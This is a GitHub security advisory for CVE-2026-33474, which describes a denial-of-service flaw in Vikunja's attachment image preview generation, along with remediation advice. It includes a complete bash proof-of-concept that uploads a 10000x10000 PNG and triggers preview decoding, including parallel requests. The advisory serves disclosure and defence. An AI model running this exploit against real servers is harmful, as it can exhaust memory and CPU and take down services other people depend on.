GitHub Advisory Database
GitHub Reviewed
CVE-2026-33474
Vikunja Affected by DoS via Image Preview Generation
Moderate severity
GitHub Reviewed
Published
Mar 20, 2026
in
go-vikunja/vikunja
•
Updated Mar 25, 2026
Package
gomod
code.vikunja.io/api
(Go )
Affected versions
>= 1.0.0-rc0, < 2.2.0
Summary
Vulnerability: Unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images.
Affected code:
Impact: First preview generation per attachment can allocate large memory and spend significant CPU; multiple attachments or concurrent requests can degrade or crash the service.
CVSS v3.1: 7.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)
Preconditions
API running locally (http://localhost:8080).
Task attachments enabled: task_attachments_enabled=true in Info .
Any authenticated user with write access to a task.
How It Works
Preview generation decodes the full image via image.Decode and resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.
The first preview per attachment and size performs the heavy work; later requests are served from cache keyvalue.Remember .
Run The POC
#! /usr/bin/env bash
set -euo pipefail
BASE_URL=" ${BASE_URL:- http:// localhost: 8080} "
USERNAME=" ${USERNAME:- dosuser} "
EMAIL=" ${EMAIL:- dosuser@ example.com} "
PASSWORD=" ${PASSWORD:- StrongPass123! } "
PROJECT_TITLE=" ${PROJECT_TITLE:- poc-dos-preview} "
TASK_TITLE=" ${TASK_TITLE:- DoS preview test} "
OUT_DIR=" ${OUT_DIR:-/ tmp/ vikunja-poc-dos} "
mkdir -p " $OUT_DIR "
echo " [+] Checking instance info"
curl -sS " $BASE_URL /api/v1/info" | tee " $OUT_DIR /info.json" > /dev/null
if ! grep -q ' "task_attachments_enabled":true' " $OUT_DIR /info.json" ; then
echo " [!] Task attachments disabled"
exit 1
fi
echo " [+] Registering user (may already exist)"
curl -sS -X POST " $BASE_URL /api/v1/register" \
-H ' Content-Type: application/json' \
-d ' {"username":"' " $USERNAME " ' ","email":"' " $EMAIL " ' ","password":"' " $PASSWORD " ' ","language":"en"}' \
| tee " $OUT_DIR /register.json" > /dev/null || true
echo " [+] Logging in"
curl -sS -X POST " $BASE_URL /api/v1/login" \
-H ' Content-Type: application/json' \
-d ' {"username":"' " $USERNAME " ' ","password":"' " $PASSWORD " ' "}' \
| tee " $OUT_DIR /login.json" > /dev/null
TOKEN=" $( sed -n ' s/.*"token"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' " $OUT_DIR /login.json" ) "
if [ -z " $TOKEN " ]; then
echo " [!] Failed to get token"
exit 1
fi
echo " [+] Creating project"
curl -sS -X PUT " $BASE_URL /api/v1/projects" \
-H ' Content-Type: application/json' \
-H " Authorization: Bearer $TOKEN " \
-d ' {"title":"' " $PROJECT_TITLE " ' "}' \
| tee " $OUT_DIR /project.json" > /dev/null
PROJECT_ID=" $( python3 -c ' import json,sys; print(json.load(open(sys.argv[1]))["id"])' " $OUT_DIR /project.json" ) "
if [ -z " $PROJECT_ID " ]; then
echo " [!] Failed to get project id"
exit 1
fi
echo " [+] Creating task"
curl -sS -X PUT " $BASE_URL /api/v1/projects/$PROJECT_ID /tasks" \
-H ' Content-Type: application/json' \
-H " Authorization: Bearer $TOKEN " \
-d ' {"title":"' " $TASK_TITLE " ' "}' \
| tee " $OUT_DIR /task.json" > /dev/null
TASK_ID=" $( python3 -c ' import json,sys; print(json.load(open(sys.argv[1]))["id"])' " $OUT_DIR /task.json" ) "
if [ -z " $TASK_ID " ]; then
echo " [!] Failed to get task id"
exit 1
fi
echo " [+] Generating 10000x10000 PNG payload"
python3 - << 'PY '
from PIL import Image
img = Image.new('RGB', (10000,10000), color=(0,0,0))
img.save('/tmp/vikunja-poc-dos/huge.png', optimize=True)
PY
file " $OUT_DIR /huge.png" || true
ls -lh " $OUT_DIR /huge.png" || true
echo " [+] Uploading attachment"
curl -sS -X PUT " $BASE_URL /api/v1/tasks/$TASK_ID /attachments" \
-H " Authorization: Bearer $TOKEN " \
-F " files=@$OUT_DIR /huge.png" \
| tee " $OUT_DIR /attach.json" > /dev/null
ATTACHMENT_ID=" $( python3 -c ' import json,sys; d=json.load(open(sys.argv[1])); print(d["success"][0]["id"])' " $OUT_DIR /attach.json" ) "
if [ -z " $ATTACHMENT_ID " ]; then
echo " [!] Failed to get attachment id"
exit 1
fi
echo " [+] Requesting preview (xl)"
/usr/bin/time -l curl -sS -o " $OUT_DIR /preview_xl.png" \
" $BASE_URL /api/v1/tasks/$TASK_ID /attachments/$ATTACHMENT_ID ?preview_size=xl" \
-H " Authorization: Bearer $TOKEN " 2> " $OUT_DIR /time_xl.txt"
du -h " $OUT_DIR /preview_xl.png" || true
file " $OUT_DIR /preview_xl.png" || true
echo " [+] Timing and memory (from /usr/bin/time):"
cat " $OUT_DIR /time_xl.txt" || true
echo " [+] Parallel preview requests (cache warm) x10"
seq 1 10 | xargs -P 5 -I{} sh -c " curl -s -w '%{time_total}\n' -o /dev/null \
'$BASE_URL /api/v1/tasks/$TASK_ID /attachments/$ATTACHMENT_ID ?preview_size=xl' \
-H 'Authorization: Bearer $TOKEN '" | tee " $OUT_DIR /parallel_times.txt" > /dev/null
echo " [+] Done. Outputs in $OUT_DIR "
Uses curl and python3 (Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.
Steps
Ensure the API is running on http://localhost:8080.
Execute:
bash pocs/image-preview-dos/poc.sh
Outputs of interest:
/tmp/vikunja-poc-dos/time_xl.txt: /usr/bin/time -l timing and memory for the preview request.
/tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed.
/tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.
Environment Overrides
BASE_URL: API base (default http://localhost:8080)
USERNAME, EMAIL, PASSWORD: credentials for the test user
PROJECT_TITLE, TASK_TITLE: names for test artifacts
OUT_DIR: output directory (default /tmp/vikunja-poc-dos)
Expected Results
First preview request shows higher latency and memory footprint, demonstrating server-side decode and resize of a 10k×10k image.
Subsequent requests are faster due to caching.
Parallel requests across multiple unique attachments reproduce the heavy work and can degrade the API.
Remediation
Enforce bounds prior to decode:
Reject images exceeding max width/height (e.g., 8000×8000) or max total pixels (e.g., 20M).
Fail early by reading headers to extract dimensions before full decode.
Add per-user and per-attachment rate limiting for preview generation.
Pre-generate previews asynchronously with throttling and backpressure.
Keep caching, but consider configurable cache eviction strategy to avoid repeated heavy work.
Notes
This POC uses a solid-color PNG to produce large dimensions with small file size. Other formats and images with extreme dimensions can be substituted.
References
Published to the GitHub Advisory Database
Mar 20, 2026
Last updated
Mar 25, 2026
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Summary
Preconditions
http://localhost:8080).task_attachments_enabled=truein Info.How It Works
image.Decodeand resizes to a target width. There are no guards on width/height or total pixels. A 10,000×10,000 PNG (~284 KB on disk) expands to ~100M pixels in memory during decode and triggers heavy CPU work in resize.Run The POC
curlandpython3(Pillow) to generate a 10k×10k PNG, upload it, and request an xl preview while recording timing and memory metrics.Steps
http://localhost:8080./tmp/vikunja-poc-dos/time_xl.txt:/usr/bin/time -ltiming and memory for the preview request./tmp/vikunja-poc-dos/parallel_times.txt: 10 parallel preview times with cache warmed./tmp/vikunja-poc-dos/preview_xl.png: Generated 800×800 preview.Environment Overrides
http://localhost:8080)/tmp/vikunja-poc-dos)Expected Results
Remediation
Notes
References